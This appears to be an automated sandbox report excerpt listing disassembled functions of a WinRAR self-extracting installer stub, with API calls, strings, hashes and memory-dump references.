Instruction ID: 9996d5b194d432b43fbf986bcec4788b7e1630b3c0c1021ce02450d9f0f83899
Opcode Fuzzy Hash: f4d76c82067bcbbaa71cdf75f63e1b243fc76325c63f164843ee785e5368c619
Instruction Fuzzy Hash: AC823A31D04185AEDF15DF64C881BFA7BAABF05350F0C41BBE8499B342DB355A86EB60

Function 00FEA5D1 Relevance: 102.2, APIs: 48, Strings: 10, Instructions: 724COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FEA5D6

Part of subcall function 00FD12D7: GetDlgItem.USER32(00000000,00003021), ref: 00FD131B
Part of subcall function 00FD12D7: SetWindowTextW.USER32(00000000,010022E4), ref: 00FD1331

Strings

,>, xrefs: 00FEA9BB
winrarsfxmappingfile.tmp, xrefs: 00FEA9A5
-el -s2 "-d%s" "-sp%s", xrefs: 00FEA96A
<, xrefs: 00FEA983
"%s"%s, xrefs: 00FEAB0C
LICENSEDLG, xrefs: 00FEAE56
__tmp_rar_sfx_access_check_%u, xrefs: 00FEA8B0
C:\Program Files\VS Revo Group\Revo Uninstaller Pro, xrefs: 00FEA9C8
@, xrefs: 00FEA990
STARTDLG, xrefs: 00FEA5F5

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$,>$-el -s2 "-d%s" "-sp%s"$<$@$C:\Program Files\VS Revo Group\Revo Uninstaller Pro$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-2243906297
Opcode ID: 4f4e79d71605a4c3736124ee48fdecd34efd185685f4f114f1bea0d8ce1df49e
Instruction ID: a1954d9f5ad3e891e4cccb378727dd4c20c41203cc63460221e60ab39a08132e
Opcode Fuzzy Hash: 4f4e79d71605a4c3736124ee48fdecd34efd185685f4f114f1bea0d8ce1df49e
Instruction Fuzzy Hash: 6E4206719403C4BEEB32AFA1DC49FBE3B68AB05710F044059F684A61C5DBBE5D44EB62

Function 00FDFD49 Relevance: 100.1, APIs: 22, Strings: 35, Instructions: 314
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00FDFD61
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00FDFD79
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00FDFD9C
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00FE0047
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FE005F
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FE0071
ReadFile.KERNEL32(00000000,?,00007FFE,010028D4,00000000), ref: 00FE0090
CloseHandle.KERNEL32(00000000), ref: 00FE00E8
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00FE00FE
CompareStringW.KERNEL32(00000400,00001001,01002920,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 00FE0158
GetFileAttributesW.KERNEL32(?,?,010028EC,00000800,?,00000000,?,00000800), ref: 00FE0181
GetFileAttributesW.KERNEL32(?,?,010029AC,00000800), ref: 00FE01BA

Part of subcall function 00FDFCFD: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00FDFD18
Part of subcall function 00FDFCFD: LoadLibraryW.KERNEL32(?,?,?,?,00000800,?,00FDE7F6,Crypt32.dll,?,00FDE878,?,00FDE85C,?,?,?,?), ref: 00FDFD3A

_swprintf.LIBCMT ref: 00FE022A
_swprintf.LIBCMT ref: 00FE0276

Part of subcall function 00FD3E41: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FD3E54

AllocConsole.KERNEL32 ref: 00FE027E
GetCurrentProcessId.KERNEL32 ref: 00FE0288
AttachConsole.KERNEL32(00000000), ref: 00FE028F
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00FE02B5
WriteConsoleW.KERNEL32(00000000), ref: 00FE02BC
Sleep.KERNEL32(00002710), ref: 00FE02C7
FreeConsole.KERNEL32 ref: 00FE02CD
ExitProcess.KERNEL32 ref: 00FE02D5

Strings

@-, xrefs: 00FDFF8B
), xrefs: 00FDFDEC
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00FE0264
L*, xrefs: 00FDFE54
+, xrefs: 00FDFEF1
(., xrefs: 00FDFFEE
(-, xrefs: 00FDFF80
@., xrefs: 00FDFFF9
t*, xrefs: 00FDFE64
t., xrefs: 00FE000F
DXGIDebug.dll, xrefs: 00FE0144
$+, xrefs: 00FDFE9C
SetDllDirectoryW, xrefs: 00FDFD73
*, xrefs: 00FDFE44
P,, xrefs: 00FDFF1D
SetDefaultDllDirectories, xrefs: 00FDFD96
p-, xrefs: 00FDFFA1
uxtheme.dll, xrefs: 00FE01F7
8), xrefs: 00FDFDF4
dwmapi.dll, xrefs: 00FE01ED
kernel32, xrefs: 00FDFD57
h), xrefs: 00FDFE04
(,, xrefs: 00FDFF07
(, xrefs: 00FDFDD9
<+, xrefs: 00FDFEA4
`., xrefs: 00FE0004
d*, xrefs: 00FDFE5C
P), xrefs: 00FDFDFC
X-, xrefs: 00FDFF96
X+, xrefs: 00FDFEAF
@,, xrefs: 00FDFF12
,, xrefs: 00FDFF5F
l,, xrefs: 00FDFF28
4*, xrefs: 00FDFE4C
p+, xrefs: 00FDFEBA

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: )$ *$$+$(,$(-$(.$4*$8)$<+$@,$@-$@.$DXGIDebug.dll$L*$P)$P,$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$X+$X-$`.$d*$dwmapi.dll$h)$kernel32$l,$p+$p-$t*$t.$uxtheme.dll$($+$,
API String ID: 1201351596-3107305897
Opcode ID: 13313f60454e39b9b490d0ac19fe28087978096d0adc35cdd9ada3088c21fd04
Instruction ID: 54e4df77f9dc1f4546f533d37fd79f7ca8fc5c6418bac89d3b962787772fdc22
Opcode Fuzzy Hash: 13313f60454e39b9b490d0ac19fe28087978096d0adc35cdd9ada3088c21fd04
Instruction Fuzzy Hash: 5DD192B14083849BE63ADF51C84CF9FBBE9AF85304F50491EF2C99A281CB748548DB63

Function 00FDCFD0 Relevance: 30.3, APIs: 4, Strings: 13, Instructions: 557
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00FDCFD9
_wcschr.LIBVCRUNTIME ref: 00FDCFFA
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00FDD015
__fprintf_l.LIBCMT ref: 00FDD4FB

Part of subcall function 00FE0FDE: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00FDB312,00000000,?,?,?,000304CA), ref: 00FE0FFA

Strings

a, xrefs: 00FDD182
8&, xrefs: 00FDD331
(&, xrefs: 00FDD32A
*messages***, xrefs: 00FDD12D
R, xrefs: 00FDD178
T&, xrefs: 00FDD33F
$%s:, xrefs: 00FDD4E1
, xrefs: 00FDD5E2, 00FDD45E
*messages***, xrefs: 00FDD166
@%s:, xrefs: 00FDD4E8, 00FDD4F1
RTL, xrefs: 00FDD4C3
H&, xrefs: 00FDD338
,, xrefs: 00FDD536

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$(&$*messages***$*messages***$8&$@%s:$H&$R$RTL$T&$a
API String ID: 4184910265-2160549561
Opcode ID: 6b3e7f834ed7ea4099b9687102399292f1f6e21e6bcde6508ef1593d30425a94
Instruction ID: 83f6c6c9d260ec399ad65d1f5ac299347337e0c3cb276258d5681dcbe0f9c116
Opcode Fuzzy Hash: 6b3e7f834ed7ea4099b9687102399292f1f6e21e6bcde6508ef1593d30425a94
Instruction Fuzzy Hash: 0E12E171A003099BDF25EFA4CC45BAD37AAEF45310F18012BFA4997391EB75D984EB50

Function 00FEC190 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FEA388: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00FEA399
Part of subcall function 00FEA388: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00FEA3AA
Part of subcall function 00FEA388: IsDialogMessageW.USER32(000304CA,?), ref: 00FEA3BE
Part of subcall function 00FEA388: TranslateMessage.USER32(?), ref: 00FEA3CC
Part of subcall function 00FEA388: DispatchMessageW.USER32(?), ref: 00FEA3D6

GetDlgItem.USER32(00000068,0102DE38), ref: 00FEC1A4
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,?,?,?,?,?,?,00FE9D8F), ref: 00FEC1CF
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00FEC1DE
SendMessageW.USER32(00000000,000000C2,00000000,010022E4), ref: 00FEC1E8
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00FEC1FE
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00FEC214
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00FEC254
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00FEC25E
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00FEC26D
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00FEC290
SendMessageW.USER32(00000000,000000C2,00000000,0100304C), ref: 00FEC29B

Strings

\, xrefs: 00FEC204

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 76b16a3c5e1aa87d11103be972b44c7da299b051a3e32a2915e0d57e9a992619
Instruction ID: dd26664ed97007d09170d767388a0fa183d9c3e38f3bee9ba7c5ec84685d3af3
Opcode Fuzzy Hash: 76b16a3c5e1aa87d11103be972b44c7da299b051a3e32a2915e0d57e9a992619
Instruction Fuzzy Hash: 5E2106712457847AE322FB259C41FAF7B9CEF82754F000618F690961C1C7AA59058BB7

Function 00FEC431 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 179
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(000001C0), ref: 00FEC55F
IsWindowVisible.USER32(?), ref: 00FEC598
ShowWindow.USER32(?,00000000,?,?,?,?,?,?,?), ref: 00FEC5A4
WaitForInputIdle.USER32(?,000007D0), ref: 00FEC5B1
GetExitCodeProcess.KERNEL32(?,?), ref: 00FEC5DC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00FEC602
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?), ref: 00FEC691

Part of subcall function 00FE1410: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00FDACFE,?,?,?,00FDACAD,?,-00000002,?,00000000,?), ref: 00FE1426

Strings

.inf, xrefs: 00FEC51B
.exe, xrefs: 00FEC60C
, xrefs: 00FEC4B1

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Window$Show$CloseCodeCompareExecuteExitHandleIdleInputProcessShellStringVisibleWait
String ID: $.exe$.inf
API String ID: 1693144567-2452507128
Opcode ID: 8e6642419ddb53cfd78501e8c1cd55cadd81abec371586d523f53655ada25618
Instruction ID: 0cc7143ac2c839407e3fe949de70c23fdff02f6ca96dcf164aa33a6ea497ad9a
Opcode Fuzzy Hash: 8e6642419ddb53cfd78501e8c1cd55cadd81abec371586d523f53655ada25618
Instruction Fuzzy Hash: BE5134318043C09ADB31EF66D804A7BB7E8AF84314F08081DF5C597291D7BA9D46EBD2

Function 00FF95A5 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00FF451B,00FF451B,?,?,?,00FF97F6,00000001,00000001,31E85006), ref: 00FF95FF
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00FF97F6,00000001,00000001,31E85006,?,?,?), ref: 00FF9685
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,31E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00FF977F
__freea.LIBCMT ref: 00FF978C

Part of subcall function 00FF7A8A: RtlAllocateHeap.NTDLL(00000000,?,?,?,00FF2FA6,?,0000015D,?,?,?,?,00FF4482,000000FF,00000000,?,?), ref: 00FF7ABC

__freea.LIBCMT ref: 00FF9795
__freea.LIBCMT ref: 00FF97BA

Strings

6P+, xrefs: 00FF95AC

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID: 6P+
API String ID: 1414292761-3080146196
Opcode ID: 8a88c9c9b0456ffafb2e20846c489e39cc32f58da3734962a5509f7d742d6323
Instruction ID: 8e700e8dbcc6f4f05202663ca37db5ce306e1dc87918c56e56fde23dde2d64bd
Opcode Fuzzy Hash: 8a88c9c9b0456ffafb2e20846c489e39cc32f58da3734962a5509f7d742d6323
Instruction Fuzzy Hash: 1151D873A1431AABDB25AE64CC81FBF77A9EF40760F154628FE05D6160EBB4DC40E690

Function 00FEBB5B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00FEBB71
_swprintf.LIBCMT ref: 00FEBBA5

Part of subcall function 00FD3E41: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FD3E54

SetDlgItemTextW.USER32(?,00000066,010185FA), ref: 00FEBBC5
_wcschr.LIBVCRUNTIME ref: 00FEBBF8
EndDialog.USER32(?,00000001), ref: 00FEBCD9

Strings

%s%s%u, xrefs: 00FEBB9A

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: 5b3b5b5916fa0c5faf502b17c09399cf304be07c4ee4ed2d1df7ba1445055190
Instruction ID: a056ade0322e63b3e756c30454fa360744e61c1950f5ba1dc9f088fdd3a96a60
Opcode Fuzzy Hash: 5b3b5b5916fa0c5faf502b17c09399cf304be07c4ee4ed2d1df7ba1445055190
Instruction Fuzzy Hash: BC419E72D04259AEEF25DBA5CC85FEE77B8EB04314F0040A6F509E6150EF799B849F60

Function 00FE9AA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FDFCFD: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00FDFD18
Part of subcall function 00FDFCFD: LoadLibraryW.KERNEL32(?,?,?,?,00000800,?,00FDE7F6,Crypt32.dll,?,00FDE878,?,00FDE85C,?,?,?,?), ref: 00FDFD3A

OleInitialize.OLE32(00000000), ref: 00FE9AB9
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00FE9AF0
SHGetMalloc.SHELL32(010175C0), ref: 00FE9AFA

Strings

riched20.dll, xrefs: 00FE9AA8
3Ro, xrefs: 00FE9AD1

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3Ro
API String ID: 3498096277-3613677438
Opcode ID: 397dc81b39bc76cd90400c707cbf8807e326704b4bd123ce3b8485e07c12590c
Instruction ID: 0ecc9b62dcb17eb4b2559102f767afa6ba581914d1439a02b3bb125c905a0b30
Opcode Fuzzy Hash: 397dc81b39bc76cd90400c707cbf8807e326704b4bd123ce3b8485e07c12590c
Instruction Fuzzy Hash: 5BF04471C0010DABC711AFDAD8459EFFFFCEF44310F00415AE854A2245D7B816058BA1

Function 00FDE7E3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FDFCFD: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00FDFD18
Part of subcall function 00FDFCFD: LoadLibraryW.KERNEL32(?,?,?,?,00000800,?,00FDE7F6,Crypt32.dll,?,00FDE878,?,00FDE85C,?,?,?,?), ref: 00FDFD3A

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00FDE802
GetProcAddress.KERNEL32(01017350,CryptUnprotectMemory), ref: 00FDE812

Strings

CryptUnprotectMemory, xrefs: 00FDE808
Crypt32.dll, xrefs: 00FDE7EC
CryptProtectMemory, xrefs: 00FDE7FC

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: e0cc746473fc2524aa6e37c01c22966f87535aa154cf89a9cf18d3fb2e96103a
Instruction ID: 71dd59361d70f27cc1e65eac5ae573b51c4191ce9473f10ef2b78c1ae462305f
Opcode Fuzzy Hash: e0cc746473fc2524aa6e37c01c22966f87535aa154cf89a9cf18d3fb2e96103a
Instruction Fuzzy Hash: C5E04FB1901743AAEB126B35DC0CA01FBA56F14710F14C12BB494D7245DBB8D060DB60

Function 00FD9768 Relevance: 7.6, APIs: 5, Instructions: 116
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,00FD76F2,?,00000005,?,00000011), ref: 00FD9804
GetLastError.KERNEL32(?,?,00FD76F2,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00FD9811
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,00000000,00000800,?,?,00FD76F2,?,00000005,?), ref: 00FD9846
GetLastError.KERNEL32(?,?,00FD76F2,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00FD984E
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00FD76F2,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00FD9893

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 140bb8fe4dcf5c6c6b812be88b73d646c06ce225c575d3d7c895fbaf6b4b2179
Instruction ID: 0fcb4e1b6345bd93759ad1b49bff8c72cb1953c1160f99be23fb4e9175f9a6e7
Opcode Fuzzy Hash: 140bb8fe4dcf5c6c6b812be88b73d646c06ce225c575d3d7c895fbaf6b4b2179
Instruction Fuzzy Hash: 1D413B319487466BE320DF60CC09BDABBD6FB01734F18071AF5E0962C1D3B99888EB91

Function 00FEA388 Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00FEA399
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00FEA3AA
IsDialogMessageW.USER32(000304CA,?), ref: 00FEA3BE
TranslateMessage.USER32(?), ref: 00FEA3CC
DispatchMessageW.USER32(?), ref: 00FEA3D6

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 30469f34f7008206d2acd611bc528ea78b40b076c528cad3307d234b585b4bef
Instruction ID: 0eb2eeff34a7f761f1dcb20b33a45ffb9b48e67174132b75df4c9cc724e5f310
Opcode Fuzzy Hash: 30469f34f7008206d2acd611bc528ea78b40b076c528cad3307d234b585b4bef
Instruction Fuzzy Hash: 4BF0BD71D01229AB8B319BE6AC4CDEB7F6CEE05261B008519F559D2008EB69E505D7B1

Function 00FE9A32 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00FE9A49
SHAutoComplete.SHLWAPI(?,00000010), ref: 00FE9A80

Part of subcall function 00FE1410: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00FDACFE,?,?,?,00FDACAD,?,-00000002,?,00000000,?), ref: 00FE1426

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00FE9A70

Strings

EDIT, xrefs: 00FE9A54, 00FE9A5F, 00FE9A6C

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
